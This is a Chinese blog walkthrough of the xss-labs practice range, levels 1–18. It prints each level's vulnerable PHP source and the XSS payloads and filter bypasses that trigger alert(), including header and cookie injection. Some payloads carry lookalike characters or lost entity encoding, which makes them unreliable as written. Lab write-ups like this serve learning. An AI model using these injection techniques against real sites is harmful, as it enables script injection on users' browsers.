打靶日记之xss-labs
前言
之前学习了一段时间的电子取证,好久没学web了。偶然看到一篇文章教学搭建xss靶场,正好没有系统学习过xss,借助这个靶场学习一下。靶场教程 铸器为刃——靶场搭建系列篇(五)
在看博客的时候发现大佬总结的很详细这里分享一下XSS漏洞详解:原理、类型、危害与防御策略-CSDN博客不仅是xss。还有其他漏洞总结的都非常好,对于我这个新手来说简直都是细糠啊。
level1
第一关没有啥说的,直接用最经典<script>alert(1)</script>
level2
这个语句不行,分析源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level3.php?writing=wait";
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
最主要的是
<input name=keyword value="test">
这里用到了<input>标签, <input> 标签规定了用户可以在其中输入数据的输入字段。
这个时候闭合前面的input便签即可,payload "><script>alert(1)</script>
此时就变成了
<input name=keyword value="><script>alert(1)</script>>
level3
分析源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
这里使用了htmlspecialchars()
htmlspecialchars()
是 PHP 中用于防止 XSS(跨站脚本攻击)的核心函数之一,它的作用是将特殊字符转换为 HTML 实体,从而确保这些字符在 HTML 页面中被安全地显示,而不会被浏览器解释为 HTML 标签或 JavaScript 代码。
特殊字符 | 转换后的 HTML 实体 |
---|---|
& | & |
< | < |
> | > |
" | " |
' | ' (需通过参数指定) |
由于<>被转义了,所以不能使用<script>标签,<script>标签是无需用户交互的自动执行,这里可以使用
' οnclick=alert()
onclick
是 HTML 元素的鼠标点击事件,它的触发条件是:用户用鼠标点击该元素(如 <button>
、<input>
、<div>
等)。
在本题中<input name=keyword value='".htmlspecialchars($str)."'>
输入后再点击输入框即可过关,
另解
' οnfοcus=javascript:alert() '
都是输入完后点击输入框后执行alert().
这里涉及好多html js的知识,我真服了
JavaScript 伪协议是一种特殊的 URL 协议,允许在链接地址中直接执行 JavaScript 代码。它的基本格式是:
javascript:要执行的代码
onfocus
是 HTML 元素的一个事件属性,当元素获得焦点时会触发指定的 JavaScript 代码。
<input type="text" οnfοcus="myFunction()">
当用户点击或通过Tab键使该输入框获得焦点时,myFunction()
将被执行。
还有一解自动执行不需要用户交互
' autofocus οnfοcus=alert()
-
autofocus
:让输入框自动获得焦点(无需用户点击)。 -
onfocus
:当元素获得焦点时,自动触发alert()
。
level4
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level5.php?keyword=find a way out!";
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>
这里就过滤了<>,思路和前几关一样,闭合input标签就行。payload
">autofocus οnfοcus=alert()
level5
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level6.php?keyword=break it out!";
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>
过滤了<script,on 以及有strtolower()函数,大小写也不行,上面能用到的这都用不了了
这里用<a>标签,在 HTML 里,<a>
标签的主要用途是创建超链接,借助href
属性能够实现从当前页面跳转到另一个页面,或者在同一页面内进行跳转
还是先闭合input标签,然后利用<a>
标签的href
属性执行JavaScript伪协议。payload
"><a href="javascript:alert(1)">xss</a><"
level6
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level7.php?keyword=move up!";
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>
这一关有多过滤了data,href,src,但是没有过滤大小写,可以利用大小写绕过
"><a Href="javascript:alert(1)">xss</a><"
level7
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level8.php?keyword=nice try!";
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>
这一关过滤了大小写,把指定字符串替换为空,这就可以双写绕过,payload
"><scripscriptt>alert(1)</scriscriptpt><
答案有很多双写绕过即可
level8
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level9.php?keyword=not bad!";
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?phpecho '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>
这一关字符串替换,还过滤了双号,html实体编码绕过,因此将javascript:alert(1)编码一下就行了
javascript:alert(1)
这里如果只编码一个字符也可以s的实体编号是s,,payload
javascript:alert(1)
实体编码有实体名称,实体编号两种表示方式,比如常见的实体编码如下:
- 小于号 (<):
<
或<
- 大于号 (>):
>
或>
- 和号 (&):
&
或&
- 引号 ("):
"
或"
level9
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level10.php?keyword=well done!";
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';}
else
{echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>
过滤了好多啊,俺不中嘞,结果还要带http,这里将http写进注释里,不影响结果,就是在上一题的答案上加上//http:// //表示注释
level10
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level11.php?keyword=good job!";
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
分析代码可得主要用的参数是t_sort,但是后面是隐藏属性,所以这一题和前面的题相比少了一个输入框,这里可以属性覆盖,payload
?t_sort=" οnfοcus=alert() type="text,text属性会覆盖hidden,然后页面会出来一个输入框,点击即可过关,或者
t_sort=" οnfοcus=alert() autofocus type=text "
level11
<input<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level12.php?keyword=good job!";
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
这里有两个注入点,由于第一个使用了转义函数," autofocus οnfοcus=alert() type="text 所以这个payload不能用了,这里用第二个。可以抓包或者使用hackber都行,这里使用抓包写
$str11=$_SERVER['HTTP_REFERER'];
然后就过滤了<>,payload 添加
Referer:" autofocus οnfοcus=alert() type="text
level12
E html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level13.php?keyword=good job!";
}
</script>
<title>欢迎来到level12</title>
</head>
<body>
<h1 align=center>欢迎来到level12</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
这一题跟上一题差不多,只不过是在UA头注入
level13
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level14.php";
}
</script>
<title>欢迎来到level13</title>
</head>
<body>
<h1 align=center>欢迎来到level13</h1>
<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level13.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
这一关是cookie注入
level14
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到level14</title>
</head>
<body>
<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xss/level15.php?src=1.gif>点我进level15</a></center>
</body>
</html>
不对不对这源码怎么回事。看了许多文章这一题应该是写不了了,应该是访问目标网站然后上传一个属性里面含有xss代码的图片,以达到弹窗的效果。
由于网站坏了,这一题就不写了
level15
<html ng-app>
<head><meta charset="utf-8"><script src="angular.min.js"></script>
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level16.php?keyword=test";
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
这一关用了ng-include。
ng-include这个表达式的意思是当HTML代码过于复杂时,可以将部分代码打包成独立文件,在使用ng-include来引用这个独立的HTML文件。
ng-include 指令用于包含外部的 HTML 文件,包含的内容将作为指定元素的子节点,ng-include 属性的值可以是一个表达式,返回一个文件名,默认情况下,包含的文件需要包含在同一个域名下。
这里包含第一关的文件levle1.php 文件
?src='level1.php'
这里看了几篇文章,用的payload是 ?src='level1.php?name=<img src=x οnerrοr=alert(1)>'
或者?src='level1.php?name=<img src=XXX οnmοuseοver=alert()>',
看到这个payload时,<>这个便签会被转义,那不就不行了吗??查阅资料后得知(以下内容均由ai给出,如有错误请指出)
htmlspecialchars()
的确把 <
变成了 <
,但这只是显示在 HTML 标签中的字符串。AngularJS 的 ng-include
是会去请求这个地址的,最后请求的地址并不会转义,会把参数原样嵌入 HTML
<h2 align=center>欢迎用户<img src=XXX οnmοuseοver=alert()></h2>
当移动鼠标到图片上时,触发 onmouseover=alert()
,调用了定义的 window.alert。
然后既然name的值不会受到转义的影响,直接用第一关的答案不就行了,
payload
?src='level1.php?name=<script>alert(2)</script>,尝试后发现不行,询问ai得知
因为:AngularJS 的 ng-include
加载内容时,是通过 AJAX(XHR)加载的,而不是作为 HTML inline 解析的!
看不懂~~,应该是浏览器出于安全考虑,通过 JavaScript 动态插入的 <script>
标签不会自动执行
<img>
是正常 HTML 元素,插入就会触发加载行为,加载失败即触发
level16
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");window.location.href="level17.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
</body>
</html>
这里使用%0d回车,%0a换行都行
?keyload=<img%0dsrc=1%0aοnerrοr=alert(1)>
level17
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
}
</script>
<title>欢迎来到level17</title>
</head>
<body>
<h1 align=center>欢迎来到level17</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
<h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
</body>
</html>
这里就是get传两个参数,中间有个等号,如果arg01=1,arg02=2
echo "<embed src=xsf01.swf?"1=2" width=100% heigth=100%>";
那么就可以构造
?arg01=%20onmouseover&arg02=alert(),移动鼠标就行
level18
没啥区别还是那个payload
?arg01=%20onmouseover&arg02=alert()。
第19和20关由于环境问题没法写就不写了。